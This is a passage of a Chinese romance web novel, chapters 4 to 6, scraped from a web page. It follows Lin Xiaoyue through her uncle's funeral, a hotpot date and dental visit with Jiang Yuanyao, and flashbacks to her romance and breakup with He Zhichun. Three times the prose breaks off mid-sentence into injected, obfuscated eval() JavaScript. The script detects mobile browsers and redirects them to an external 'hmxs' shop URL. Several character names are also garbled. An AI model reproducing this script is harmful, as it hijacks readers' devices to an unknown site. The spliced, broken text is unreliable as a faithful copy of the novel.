舅舅在房间中央躺着,面容安详,化妆师尽量将他画得面色红润,宛若熟睡。 主持人念完了悼词,左右人排队上前瞻仰遗容,林晓玥近距离看到了舅舅。他比林晓玥印象中的瘦了许多,看上去更像已经过世的姥爷。 每个人都将手中的花轻轻放在吴正豪周围,渐渐铺满了半张床。 这时,来了一位浑身白衣的人,他双手紧握把手,将舅舅推走了。 耳边尽是悲拗哭声,大家都知道他会被推向哪里,也都知道以后不会看到他的音容笑貌。 外面的雨下得更大了些。 他们被安排在一间空房间里等候着,隔着门可以听到旁边告别厅里的另一轮演奏,窗外不知道是谁的家人在痛哭。 过了很久,吴庸哥哥被叫走了,梁甜为他撑着一把黑色的大伞,再回来的时候,伞下多了一个裹着红布的盒子。 舅舅,林晓玥对着那红布轻轻动了动嘴,没有发出声音。 雨停了,整个仪式的最后一个步骤,他们来到了一个熊熊燃烧的火炉面前,将带来的花圈以及舅舅生前的一应衣物用品,统统投进了那个火炉之中。 主事人给了林晓玥他们一人一把纸钱。 “去吧,给你们叔叔舅舅烧点钱。” 林晓玥握着那把纸钱,拾级而上,来到炉子口。 里面烈火炎炎,驱散了雨水带来的寒意。 林晓玥张开手,手中的一沓纸钱一张张被卷进了火舌之中,飞扬,旋转,化为灰烬。 “舅,钱不够花记得给我托梦。” 林晓玥不愿意在人们面前哭,而此刻的她背对着所有人,流下了眼泪,很快又被烤干了,就当是舅舅帮她擦掉了吧,她想。 回到妈妈身边时,炉子里的火还在燃烧着,两只黑色的小鸟站在了炉子外的飞檐上。 “妈,你看。” 林晓玥在妈妈耳边说道,“姥姥姥爷来接舅舅回家了。” 吴女士的泪水再次决堤。 余光里,林晓玥看到了一个人,他这次倒是言而有信。 4. 第 4 章 结束的时候,已经接近中午了,太阳露出云层悬在正当空,气温回升了起来,有些热。 林晓玥随便上了一辆车,反正都是开往饭店的。饭店在舅舅家附近,依旧是半个小时的车程,林晓玥在车上好像睡了一觉,迷迷糊糊间看到一辆好长好长的公交车和自己所在的车并驾齐驱,行驶在绿化带里。 正感到好奇的想要看清楚的时候,自己被人叫醒了。 “玥玥,醒醒,到了。” 睁开眼,贺知春轻轻拍着自己的肩膀,原来他也在车上。 大大小小的婚宴喜宴林晓玥吃过不少,可这样的席面她还是第一次来。 林晓玥心想,明明是因为自己而聚集在一起的亲朋好友,可满桌的饭菜舅舅却吃不上一口,多么可笑。 吴庸和未婚妻来到自己这桌敬酒,在座的都是一脉同源的兄弟姐妹。 “这几天辛苦大家了,从四面八方赶来帮忙。” 身边的表姐安慰道:“客气了,大家都是一家人,以后有什么需要我们的地方尽管说话。” 寒暄几句,吴庸向贺知春所在的父亲曾经学生那桌走去。 吴庸已经成家立业,生活稳定,可他还有一个干妹妹,吴念。 吴念比林晓玥小三岁,是舅舅早逝的发小的女儿,自己当作亲女儿一样。今年大学毕业,正是无忧无虑的年纪,就这样被无常的命运强行从象牙塔里拽了出来,她被迫在三天内迅速成长,退去最初的惊慌怯懦,渐渐稳重和坚定。 可林晓玥知道,她不想要这种被裹挟着拔苗助长似的成长。 “姐。” 吴庸离开后,吴念单独端着橙汁金额林晓玥碰杯:“虽然咱们总共见面的次数不多,但我很喜欢跟你在一起,我非常怀念初中你回来那年的暑假……” 林晓玥从小和父母生活在市里,很少回老家,印象最深的两次,除了姥姥过世那年,就是高考完的那个暑假。 当时家里正好搬家,无暇顾及她,她干脆直接回深山里的老家避暑。 吴念那时候还在上初中,天天跟着一群孩子漫山遍野地跑,见到城里来了个姐姐,二话不说就当成了自己人,拉着她就要下河摸鱼…… “念念!”吴正豪刚好这时回来,破坏了吴念的计划。 吴念马上乖巧得像一只小鹌鹑。 “眼看就要上高中了,还到处乱跑,明天开始,跟我去学校,跟着学生们一起听支教老师补课。” 支教老师是吴校长和城里的师范大学联系来的,作为一项扶贫互助活动,已经延续了很多年。 “好吧……” 别看吴正豪平时对谁都很好,但严肃起来的时候,有一种不怒自威的感觉,说实话,连林晓玥也有些怕他。 “玥玥陪妹妹一起去吧,正好跟老师们请教一下上大学的经验。” 林晓玥站得笔直:“好嘞!” 第二天一早,林晓玥还在被窝里,就被吴念薅出来,在耳边叽叽喳喳像一只小鸟:“走啦!去上学!” 刚高考完的吴念听到这个词有些许的陌生,说什么也不肯起来:“你怎么突然这么热爱学习了?” 吴念此时又补了一句:“我同学说,高三的那个大帅哥也来了,干爸单独给他补课来着,咱们去看看呗!” 林晓玥随手套了一条裙子去简单洗漱:“叫什么?有多帅?” “嗯……和一个大诗人同名,孟浩然?还是谁来着,我忘了!反正是校草!” 吴念话音一顿:“全高中部,不,整个杏花中学的校草!” “呦呵,你还知道校草呢?” 林晓玥胡乱往嘴里塞了一张小锅饽饽,含糊不清地说道:“走吧,让我见识一下是何方神圣。” 吴念和林晓玥没有去原本的教室,径直来到另一间安静的房间外,里面只有风扇转动的声音和铅笔在纸上摩擦的沙沙声。 林晓玥和吴念两个人趴在走廊的窗台上,只露出一双眼睛,忽视了讲台上吴校长的存在,只看到阳光透过玻璃,给少年白皙的面庞镀了一层金光。 他的鼻尖微微冒出了汗珠,一定是因为题太难了!林晓玥心想。 片刻后,他长舒了一口气,坐直身子,将试卷递到讲台上。 舅舅检查一番后,露出了满意的笑容。 “不错,这是一道集合了很多考点的经典母题,你记住,万变不离其宗,抓住题目的本质,以后遇到千变万化的衍生题也不用怕。” 男孩不好意思地挠挠头:“谢谢校长。” “不客气,你是再练一套题,还是……?” “我再巩固一下吧!” 吴正豪点点头,在面前的试卷里翻找出一张,勾勾画画后递给他:“不用全写,把我挑出来的题做完就回家吧!” 男孩回到座位上再次奋笔疾书起来。 窗边的二人丝毫没有注意到教室的门已经打开了,身后响起一道声音:“看够了吗?” 林晓玥和吴念顿时一个激灵,迅速转身立正站好。 “看够了就回楼下好好听课。” 训完话便背着手扬长而去,两个人灰溜溜地跟在后面下了楼。 “那时候我们什么都不用考虑,除了学习以外没有烦恼。” 吴念说完这句话,扁着嘴看向林晓玥,眼里满是委屈,林晓玥于心不忍,伸手摸了摸她的头。 “现在也可以啊,有我们在,你没有必要这么快长大。” “你们不能对我太好!从前他们说我克死了我亲爸,我还不信,可干爸现在也走了,我突然觉得他们说得对……” “瞎说什么呢?” 林晓玥知道左邻右舍乡里乡亲嚼舌根的本领,可这话从吴念的嘴里说出来,她像是被人扼住了脖子难以呼吸。 “你是小福星,过去是,现在是,未来也是。” 纵使林晓玥知道这样的安慰苍白又无力。 “姐,我希望你幸福。” “嗯?” 吴念趴在林晓玥耳边悄悄说:“我知道你这两年很不开心,但我不知道你们为什么会分开,你们还有可能和好吗?” 林晓玥看着不远处的那桌人,穿着黑色衬衣的男人在一片觥筹交错中低着头,有一种遗世独立的清冷感。 她反问吴念:“你知道破镜重圆会有哪些结果吗?” 吴念摇摇头:“不知道。” “要么没有破,要么没有镜,要么没有圆。” “那你们属于哪一种?” “嗯……哪一种……”林晓玥咬着筷子低头沉默了一瞬,“大概是根本没有镜吧!” 他喜欢的那个人自始至终不是我。 林小雅低垂着眼眉,神情有些落寞。 大概是回不去了,她想,如果不是因为舅舅的事情,或许她不会再见到他,见面对于单方面思念的人来说是一场无声的精神凌迟。 贺知春,我讨厌你! 林晓玥在心里刚刚呐喊出这句话,邻桌的贺知春好似感应到了什么一样,朝这边看来,林晓玥立马心虚地把头压得更低了。 过了今日,大家又会回到各自的生活轨迹,上班、下班,日复一日,庸庸碌碌。生活会自动填补一个人的缺位,使之成为一种习惯。 周五这天,林晓玥下班回到家,吃饭时收到了江远尧发来的信息: 【明天去吃火锅吗?】 【明天好像会下雨吧?】 【没关系,我来接你,听说下雨天和火锅更配哦!】 林晓玥仰头靠在沙发背上,两年了,念念不忘也算是对得起她这份真诚又热忱的喜欢了,接下来也要对得起自己,她拿起手机回复: 【好的。】 勇于放下过去的人,重新开始是对自己的奖励。 这一晚上林晓玥做了很多梦,都是关于贺知春的,有他们一起在现实生活中发生过的故事,也有从贺知春口中听到的关于他和他的白月光前女友的故事。 醒来也记不清那些细节了,林晓玥有一种说不上来的失落,都说梦到好久不见的人,是两个人缘尽的表现。 “算了,让过去过去,去迎接你的奖励吧!月亮女神!” 林晓玥喊完这句中二的口号后,给自己挑了一套偏休闲的衣服,下雨天还是穿裤子方便,她也不在乎江远尧会怎么想,这次就是要将做自己贯彻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993336|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到底。 江远尧早早在楼下等候着,林晓玥两步小跑钻进车里。 “久等啦!” “应该的,很乐意为你效劳!” 江远尧一把打过方向盘,驶出了小区。 “其实我不太喜欢下雨,潮潮的,感觉身上哪里都是黏糊糊的。” 林晓玥察觉到空气有些安静,主动开启了话题。 江远尧的车开得很稳,同时还能一心二用回应林晓玥的话:“我也不喜欢下雨,但我喜欢下雨后的空气,我喜欢那个味道,有一种漫步在原始丛林里的感觉。” 林晓玥看着窗外飞速倒退的景象,雨丝在窗户上划过长长的一道斜线。 “嗯!我也喜欢。” 再加上一点烧柴火的味道,有一种回到老家,回到小时候的感觉。 车窗开了一条小缝儿,外面的风有些凉,吹乱了林晓玥耳边的头发,她顺着后视镜看到自己的新发型,有一种凌乱美。 诶?外面的路线有些熟悉。 林晓玥看到自己高中母校那个标志性的钟楼,虽然是翻新过的。 “我们今天去哪里吃火锅?” 江远尧把车停在附近商场的地下车库。 “冰煮羊,吃过吗?据说这家店开了很多年了。” 不得不说,江远尧很会利用情怀,选在他们高中附近的店,但他不知道的是,这家店林晓玥以前来过,她很喜欢这家的蘸料,只是有两年没来了,不知道换没换老板,这种繁华地段的商铺,更新换代很快的。 “你之前经常来吗?” 林晓玥反客为主问道。 江远尧把菜单递给林晓玥:“也不是,大学毕业后我就留在了杭州,一直到今年才调回这里的分院,也是前一阵同学聚会的时候发现了这么一家宝藏小店。” “从总院到分院,你这是被降职了?” 林晓玥圈了好几道自己爱吃的涮菜,当然少不了必点的羔羊腿肉。 “不算吧,回来是当老大的,在我看来不算被贬也不算流放,况且……” 江远尧笑了笑,继续说道,“外面的世界看够了,总是想要回到港湾的。以前不懂古人说的‘父母在,不远游’是什么意思,现在看着父母年纪大了,又不愿换个环境,我就只好回来喽。倒也不是他们道德绑架我,我只是想等我老了,我大概也会和他们一个想法,叶落总是要归根的,我又不是浮萍,漂泊无依的日子总有人去过,但那不是我。” “你倒是看得很通透啊!” 林晓燕称赞道,人通常四十而知天命,而江远尧他提前十年完成了这一觉悟。 服务员端上来一盆新鲜的羊肉块儿,倒进铜锅里。 “您好,关于冰煮羊有一个典故,需要给两位讲解一下吗?” “哦,不用了,我们听过了,麻烦你了!” 江远尧差异地看着林晓玥:“原来你来过啊?本来想带你探店的,这下少了很多新鲜感。” 林晓玥笑着伸手抓了一把锅顶溢出来的干冰:“没关系呀,我也很喜欢吃这个。” “那就好那就好。” 江远尧一反在外游刃有余的常态,有些局促。 “你别紧张,我这个社恐已经尽力在活跃气氛了,你一紧张我都不知道该说什么了。” 林晓玥e人的假面终于维持不下去了,直接说了实话。 “好!我叫不紧张!” 江远尧坐直身子,深吸一口气,“吃完饭我们还可以回学校逛一逛,还记得我们高考完那一年就安了空调,现在连教学楼都翻新了,食堂都加盖了一层。” “可不是嘛,啥好时代都没赶上!” 提到熟悉的学校,林晓玥终于也放松下来。 “啊……” 江远尧正在为自己的临场发挥有一些小得意,就看到林晓玥痛苦地捂着半边脸。 “怎么了?” “疼疼疼……烫到牙了……” 林晓玥能补的牙都补了,唯独漏了刚刚长出来没几年的智齿。 “我看看……没事,那一会儿回我的诊所吧,这是神经露出来了,补上就好了,还好发现得早。” 5. 第 5 章 “跟你说一个秘密。” 林晓玥夹起一块肉放进蘸料里晾着,“我有七八颗牙都是补过的。” “这么多?” “对呀,牙医说我的牙天生容易坏,而且我还整牙了呢,比以前好看了一些。” 贺知春接过林晓玥的手机,上面是林晓玥做矫正之前拍过的一张艺术照。 “嗯……你能不能再整回去?” 这是什么无理的要求?这是什么畸形的审美? 林晓玥心想,难道现在的样子不比之前的兔牙好看吗? “逗你的!” 贺知春又往林晓玥的碗里多夹了两块肉,“多吃点,这家的肉确实好吃,你的眼光不错。” “那必须的!”林晓玥得意道。 “我想吃个鸡蛋!”贺知春目光灼灼地看着林晓玥。 “行~” 林晓玥拿起旁边小碗里的鸡蛋,熟练地往桌子上一磕。 “哇这个壳好薄!” 鸡蛋清瞬间流到桌子上,林晓玥赶忙把幸存的鸡蛋液倒进锅里。 “笨嘞!” 贺知春笑眯眯地看着手忙脚乱的林晓玥,“应该先把火关小,大火打鸡蛋,鸡蛋会被煮飞的。” 他拿起勺子,撇去锅里的浮沫。 “失误,一定是鸡蛋的问题!”林晓玥义正言辞道。 “说得对!我已经教训过它了,这就把它吃掉!” 贺知春在一旁附和着。 “还想吃什么?虾?”林晓玥想挽回一下自己的形象。 贺知春却摇摇头:“嗯……我不爱吃虾……” “为什么?过敏吗?” “不是,懒得剥。” “那你可是真懒。” “我也没吃过螃蟹,不会吃。” 林晓玥看着贺知春用轻松的语气说出这些,竟然有些母爱泛滥般的心疼是怎么回事?自己小时候家里的条件虽然也不是很好,但是在吃的方面从来没受过委屈。 “没事儿!以后跟我混有肉吃!” 林晓玥把拼盘里的两只虾放进锅里,滚烫的开水下,青色的大虾上下翻滚了几圈就变了颜色。 “我从小就喜欢吃虾,我妈说我很小的时候有一次,一口气吃了七只,然后大半夜消化不良……” “嗯,高蛋白不好消化。” “对!还是你专业。” 虾差不多熟了,林晓玥夹到了自己面前的盘子里。 “嘶……好烫……” 她缩回手吹了吹。 “慢点……又没人跟你抢。” 贺知春坐在对面,捞着锅里的青菜。 林晓玥一边呼呼吹着凉气,一边用食指和拇指剥着通红的虾。 她在吃的方面有自己独特的经验,甚至能完整剥出带着尾巴的虾肉。 她对自己的手艺很满意,伸手越过大半张桌子,把剥好的那只虾放进了贺知春的碗里。 嘴里还叼着半根菠菜的贺知春愣住了:“给我剥的?” “不然呢?” 林晓玥笑意盈盈地看着他。 贺知春的面容隔着白色的水雾看不真切,林晓玥把另一只虾也递给了他。 “这只没发挥好,尾巴没成功。” “你不吃吗?” “我又没你那么懒,平时想吃就自己剥啊。” 贺知春没反驳,低头把那只虾放在蘸料里翻了个面。 片刻后他抬起头,声音有些哑,大概是被辣到了。 “还有什么没涮的?” 林晓玥左右看了一遍:“就剩面条了,三种颜色,你要哪个?” “黄色的。” “那我要绿色的。” 林晓玥直接一把把面条扔进了沸腾的锅里,瞬间浮起一层白沫。 “你真的会做饭吗?” “啊?” 林晓玥心想,居然有人敢质疑我,我可是纵横厨房十几年的天赋型选手。 “煮面条是需要搅的……不然就会糊成一团。” 贺知春看不下去了,用筷子把两团面条拨开。 “嗯……” 林晓玥有些尴尬,还没想好借口,贺知春就替她辩解道:“都是面条的错,不怪你!” “嗯,对!” 贺知春视线一扫,之前店里赠送的四小杯鸡尾酒还没有尝过,于是看向林晓玥道:“一人两杯,你先挑。” 服务员说,四种口味对应着酸甜苦辣。 她挨个端起酒盅闻了一下,没闻出来,于是选了两杯颜色最好看的。 第一杯是甜的,林晓玥内心十分庆幸,还剩一杯红色的。 贺知春面前已经摆了两只空杯子。 “你要不要尝尝这个是什么味道的?” 林晓玥举起那杯红色液体,作势就要往贺知春的杯子里倒。 贺知春伸手捂住了杯口:“耍赖耍得这么明目张胆吗?” 林晓玥计策落空,无奈地吐了吐舌头,把那杯酒一饮而尽。 “哇……好苦!” 林晓玥对所有苦味的食物都很抗拒,此时的她不由得皱紧了眉头。 就在这时,服务员端来了两只“小兔子”,晶莹雪白,Q弹诱人。 “您好,这是本店赠送的酸奶慕斯,请慢用。” 林晓玥一勺子下去,切断了小白兔的头。 “嘶……”贺知春倒吸一口凉气,“真残忍啊!” 林晓玥将半只“兔头”放进嘴里,冰凉酸甜,入口即化,极大地中和了嘴里的苦味儿。 “兔兔这么好吃,当然要从头吃。” 贺知春小心翼翼挖下了兔子的左前腿,手下动作可不比对待小白鼠温柔,林晓玥想起他曾经说过的,手上有几百条鼠命。 酒足饭饱之后,日落余晖,没了白天时炙烤的感觉。 “天色还早,要不……逛逛公园?”林晓玥提议道。 附近有一座很大的公园,林晓玥小时候住在这附近,晚饭后经常和爸妈来这里散步。 走到路口的时候,路灯刚好变绿,两人并肩走在斑马线上,对面驶来一辆右转的车。 “小心!” 贺知春伸手拉住了林晓玥的手,一直到过完马路都没有松开。 公园外有各种小摊,谋生的手艺人们在这里卖这工艺摆件。 “我小时候很喜欢一个小摆件,但我爸觉得不能吃不能用的,就没给我买,甚至还教育了我一顿,但是我表姐自掏腰包送给了我,我爸很不开心。” “然后呢?” “然后我十分忐忑地把这个摆件带回了家,但回家之后总觉得那把小伞的存在会一次次提醒我挨骂的事实,那是我无能为力不被理解的象征,是一种耻辱,于是我拉开窗户把它丢了出去。” 不被允许的东西,即使得到了,也会不开心,忍痛割爱,有一种惩罚自己的快感。 “哇!高空抛物!” “那时候住的是二楼好吧!”这个人怎么分不清重点呢。 “外面都没人,但第二天我下楼去看的时候,那把伞已经不见了,一切好像没发生过一样,但那真的不是我在做梦。” 了林晓玥平淡地讲述着过去的事情,就像是在别人身上发生的一样,而她只是一个旁观者,一个人形的录像机,她这样形容自己。 她的视线停留在了一辆三轮车上,车上载满了五颜六色的鲜花,有玫瑰有向日葵,也有洋甘菊。 “喜欢哪个?” 林晓玥的眼神中闪过明显的惊讶,然后指了指用浅蓝色纸包好的一束洋甘菊。 “多少钱?” “二十。” 贺知春掏出手机扫码支付,然后接过了那束花,继续向前走。 不是……送我的吗? 那为什么要问我喜欢哪个? 林晓玥心中不解,但还是任由他牵着自己向公园走去,直到来到空旷又无人的河边,贺知春停下了脚步,转身面向林晓玥。 太阳已经落下了,但天气还是有些热,又或许刚刚走路太匆忙,他的额头冒出了汗珠,还有一滴落在眼睫毛上,刺痛他眨了眨眼。 “你……”林晓玥不确定他要做什么。 贺知春开口打断了她的话:“我喜欢你,做我女朋友吧!” “为什么?” 林晓玥眼前起了雾,声音也有些微微的颤抖。 “我们才不过认识了一个月而已,你都不了解我。” 万一我冷漠又自私,万一我极端又偏执,你看到了真实的我,会不会后悔今天所说的话呢? 贺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993337|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知春认真地看着她的眼睛:“虽然我们是相亲认识的,但相亲只是我们认识的一种途径,从加微信到现在,都只有我们两个人参与。至于你说的认识的时间不长,不是说,有的人,见过三次面就可以判断合不合适了?我们之前的相处很愉快,上次师门聚餐我喝多了,你在电话里说的那些我很感动。” 林晓玥对面前的人是有好感的,但她有些不自信,她太了解自己了,她总是会将在意的事情搞砸。 末了,林晓玥深吸一口气,接过那束花:“好吧,那就先相处着试试,你希望我用什么样的方式和你相处,或者说我有哪些与你会有矛盾的地方,你记得和我说,虽然我也不一定会改。” “好,我懂,你就尽管做你自己,一切都是需要磨合的,现在我们都在试用期内,那我们预约定一个转正的期限?” “三个月吧!” 林晓玥伸手比了个OK的手势,然后主动牵起了贺知春的手。,绕着湖边慢慢走着。 “之前一直跟你说顺其自然,结果连你的手都不敢牵。” 贺知春笑着将林晓玥的手握得更紧了些。 “那今天过马路的时候怎么就敢了?” “那不是有危险嘛!而且今天看电影的时候,你不是把头靠在我肩膀上了?那我觉得你应该是不介意的。” “我那是知识太多,压得脖子有点累。对了,我的手是不是很软?我大学室友就很爱捏我的手。” 贺知春抬起右手,上面还有一只更小的手与他十指相扣。 “嗯!跟小孩子的一样。” “才不是……” 不知不觉到了湖对面,旁边的小山上有一座凉亭,月亮高悬在凉亭上。 贺知春脚步一转,牵着林晓玥拾级而上走到了凉亭里。 夜风微凉,四周寂静,只有窸窸窣窣的虫鸣协奏。 贺知春双手搭在林晓玥的肩上,喉结伴随着吞咽口水的动作上下滑动,他哑声道:“闭眼。” 林晓玥闭上双眼,眼睫毛像蝴蝶翅膀般微微颤动,她察觉到贺知春的气息在向自己靠近,之后嘴唇上传来了柔软湿润的触感,蜻蜓点水般短暂停留又离开。 结束了? 林晓玥睁开眼,和贺知春鼻尖抵着鼻尖。 他问道:“什么感觉?” “嗯……软软的,湿湿的。” “嗯,继续闭眼。” 这次不像最初的一触即逝,贺知春轻舔、吮吸着林晓玥的上嘴唇,林晓玥没有见识过这种场面,任由他攻城略地。 “来,张嘴,伸舌头……” 抽空喘息的间隙,贺知春耐心引导着她,声音温柔而动听,魔鬼大概就是这样引诱人类犯错的。 林晓玥双手环在贺知春的脖颈后面,尝试着去回应,少女的动作生涩而笨拙,带着满满的诚意…… 口腔里弥漫出铁锈一般的血腥味儿。 “起来,吐一下。” 林晓玥从躺椅上坐起身,向旁边的白色水池里吐去。 混杂着血丝的唾液打着转被水流冲进了下水道。 直达灵魂的电钻声终于停了,取而代之的是江远尧的声音:“还好没有伤到神经,刚刚的火锅你付了钱,那我只好请你补颗牙喽。咱们用最贵的,树脂,比较结实。” 林晓玥活动了一下发麻的嘴唇:“嗯,这我有经验,烧神经可疼了,而且之后的牙会在某个时刻突然劈开。” “懂的还挺多,来,躺好,开始补牙了,老规矩,疼就说话。” “嗯。” 江医生的手法无可挑剔,林晓玥照着镜子又做了好几遍咬合的动作,没有任何的不适感。 “本来是只给你加了个号,结果有个患者临时来找我,要不等我给他看完再送你回家?” 江远尧伸手指了指外面等候区里正在搭积木的小朋友。 “没事,我自己回去就好。” “那我送你到门口。” 外面本来已经放晴,现在又笼罩在一片乌云之下。 “又起风了,早点回家,今天别吃太烫的东西,记得用我给你的牙膏刷牙。”江远尧伸手要帮林晓玥摘去吹落在头上的一片花瓣。 “你们在干什么?” 转身望去,贺知春不知何时出现在了林晓玥的身后。 6. 第 6 章 江远尧摊开手掌,把刚刚从林晓玥头上摘下来的那片花瓣展示给她看。 “叫到车了吗?”江远尧问道。 没等林晓乐回答,贺知春便黑着一张脸上前说道:“快下雨了,我送你。” 天上的乌云越压越低,空旷的街道上一阵风斜斜吹来,把黑色的垃圾袋卷上了天,唰唰地甩出了声,混杂着沙尘的旋风打着转朝这边移动,这是暴雨的前兆。 林晓玥紧拧眉头,这个天气怕是打不到车了,刻意拒绝反而显得自己还在意。 “谢谢,那就麻烦你了。” 说完,转身和江远尧道别:“江医生,今天真是感谢你,那我先走了。” “不客气,我们今天相处得很愉快,下次见。” 江远尧目送林晓玥走到路边,看着她无视贺知春打开的副驾驶的车门,自顾自坐进了后排,车子驶出后,轻笑一声,回到了诊所里面。 林晓玥坐在车后排一言不发地看着窗外,不过才上车一分钟的功夫,外面的天已经黑得像太阳刚落山时的样子,明明现在才下午两点钟。 豆大的雨点噼里啪啦地砸在车窗上,让人不得不怀疑雨里是不是掺杂着冰雹。 江远尧的诊所离自己家有二十分钟的路程,马路上的车都打着双闪争分夺秒地往家里赶,但又因为大雨不得不放慢了速度。 “你什么时候搬家的?这个小区倒是没有积水,不然这样的大雨天回家都很麻烦。” 贺知春的车排在长龙里等着红灯变绿,找了个话题,他记得林晓玥之前都和爸妈一起住在郊区的。 “你说什么?” 正在神游天外的林晓玥一时没有听清,“哦,在你走了之后。” “还我走了,我之前说分手后做朋友,你一次都没联系过我,还把我微信删了,当我死了?” 一个合格的前任确实就应该像死了一样,但林晓玥听到他这样口无遮拦地开玩笑还是不禁皱起了眉头。 “别皱眉。”贺知春从后视镜里看到林晓玥此时的表情,提醒道,他之前就同她说过,皱眉不好看,会变丑。 “你管我,我们现在又没有任何关系。” 林晓玥不服气,本能地顶嘴还击。 贺知春刚刚还咧着的嘴角此时落了下来,仿佛外面的大雨没有被车窗拦住,兜头泼在了他的脸上,冷得他一个激灵,清醒地回到现实。 “玥玥,你恨我?” “哦,没有。”说不上恨吧,没有爱就没有恨,“就是单纯地讨厌你。” 贺知春突然不说话了,恰好前面的车启动了,贺知春默默发动了车子,一言不发地按着导航开着。 林晓玥疲惫地把头靠在枕托上,外面的灯光被雨水冲刷得蜿蜒而迷茫,被车窗隔绝成两个世界,就像分手那天的他们。 …… 【睡醒了吗?】 【嗯。】 【那我提前一点下班,在地铁站等你。】 【好,现在吃饭有点早吧?】 【可是我怕晚了赶不上演出。】 这场全国巡演的舞台剧林晓玥期待了很久,早早就订好了票,当时贺知春说的是:“我看不懂,但如果你想去,我会陪你。” 林晓玥从公司坐地铁到贺知春家附近,需要半个小时左右,足够贺知春准备的,林晓玥在地铁站里看到他的时候,他穿了一双崭新洁白的鞋。 “换新鞋啦?” “是呗,去那么高雅的地方,可不得穿的整齐一点。” 贺知春的眼眶通红,从见面起就一直没有直视林晓玥。 “眼睛怎么了?红得像个兔子。”林晓玥明知故问。 “没怎么。”贺知春低头看着手机不知道在忙些什么,脚下不断踱着步子。 林晓玥瞥了一眼他的手机屏幕,好友列表里已经取消了对自己的聊天框置顶,心脏有些刺痛,但她还是深吸了一口气,装作若无其事的样子。 “车来了,走吧。” 因为出来的早,没有赶上下班的高峰期,但地铁里的人依然不少,两人肩并肩站着。 林晓玥抬头看了看车厢里的扶手:“我够不到。” “那你扶着我。” 贺知春伸手搭在了扶手上,而林晓玥牢牢抓紧贺知春的手臂。 “你肩上有一只小飞虫。” “没事,不用管。” 但林晓玥还是伸手轻轻捏住小飞虫透明的翅膀,把它揪了下来,顺便用自己外套的袖子擦掉了贺知春额头的汗珠。 “今天是有点热。” 贺知春终于低头看着林晓玥的眼睛,澄澈而悲伤。 “还有几站?” 林晓玥抬头看了一眼车门上方的显示屏:“三站。” 第三站停车的时候,林晓玥迟迟没有下车,贺知春看着她揶揄道:“你到站了,该下车了。” 林晓玥晃了晃贺知春的胳膊:“看错了,下一站下车。” “你不是说这站吗?” “哎呀,眼神不好,这两站都带着广场俩字,看错了嘿嘿。” 贺知春看着林晓玥,不知在想些什么。 吃饭的商场离剧院很近,这是林晓玥第二次来这里。 “欢迎光临!” 他们被几位服务员簇拥着来到了店里的座位上,此时刚刚开餐,店里的客人还不多,他们选了个靠里的位置,林晓玥喜欢坐在角落里。 隔着锅里升起的袅袅雾气,贺知春苦笑道:“确实不太饿,为什么来着吃?” 他们今天来吃的是日式火锅,贺知春之前没有吃过。 林晓玥的回答十分简单:“字面意思啊,它名字里有寿又有喜,当然是希望你长命百岁,天天开心。” 贺知春被这个回答逗笑了,反驳道:“那我喝一瓶七喜岂不是七倍的开心。” “嗯……也不是没有道理。” 林晓玥看着贺知春,明天是他的生日,可他们今天就要分别了。 贺知春拿起桌上赠送的水果:“这个是什么?” “人参果。” “就是孙悟空吃的那个?” “对。” “那这个呢?”贺知春又拿起一个黄色扁平的水果。 “蟠桃。” “也是孙悟空吃的那个?” “对,你尝尝,甜的。” 贺知春咬了一口,鲜甜的汁水在嘴里溢开。 “骗人,不甜。” “不可能啊。”林晓玥就着贺知春的手咬了一口他手上的桃子,“是甜的啊。” “嗯,甜的,骗你的。” 林晓玥真是拿他没办法。 “实在是吃不动的话,我们就走吧?” 贺知春站起身,看着桌上剩了一半的涮菜心痛道:“浪费这么多,真是良心难安。” 他们并肩站在扶梯上,一层一层地接近地面。 林晓玥的视线在附近的商铺旁寻梭着,又不像想要买东西的样子。最终,她的视线定格在二楼扶梯转角处的一扇紧闭的大门。 “那里面是什么?我们进去看看!” 说着,林晓玥走在前面,费力推开了那扇笨重的防火门。 “你把我带哪去了这是?卫生间吗?还是说我们要从这里出去?” 贺知春跟在后面不明所以,林晓玥转过身来面对着她,张开了双手,她在笑着,声音很轻:“来,抱一下吧!” 贺知春知道,这一天终究是来了,叹了口气,上前抱住了林晓玥。 林晓玥的脸抵在贺知春的肩膀上,她准备了一肚子的话要讲,她想嘱咐他好好吃饭,不要每天学到凌晨才睡,比起功成名就,她更希望他长命百岁。 可话到嘴边,她才明白什么叫欲言又止,嘴唇张了又合,颤抖着发不出一丝声音待到终于攒足了开口的力气,眼泪比声调先出来。 林晓玥把头扭到一边,怕弄脏了贺知春的衣服,看着自己的眼泪一颗颗一串串从眼睛里溢出来直接啪嗒啪嗒掉到地上,原来人还可以这样哭。 “我不想哭的。” 林晓玥解释道,之前每次哭的时候贺知春都要着急地哄好久。 贺知春双手环着她,左右轻轻晃动着:“知道我这几天为什么心情低落了吗?因为我早就料到会有这么一天,既然做好了选择,就要面对和承受它带来的后果。” 可我凭什么接受你的选择?又凭什么承受这个后果? 林晓玥的内心有个声音在不屈地呐喊,可她没有反驳,因为换 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 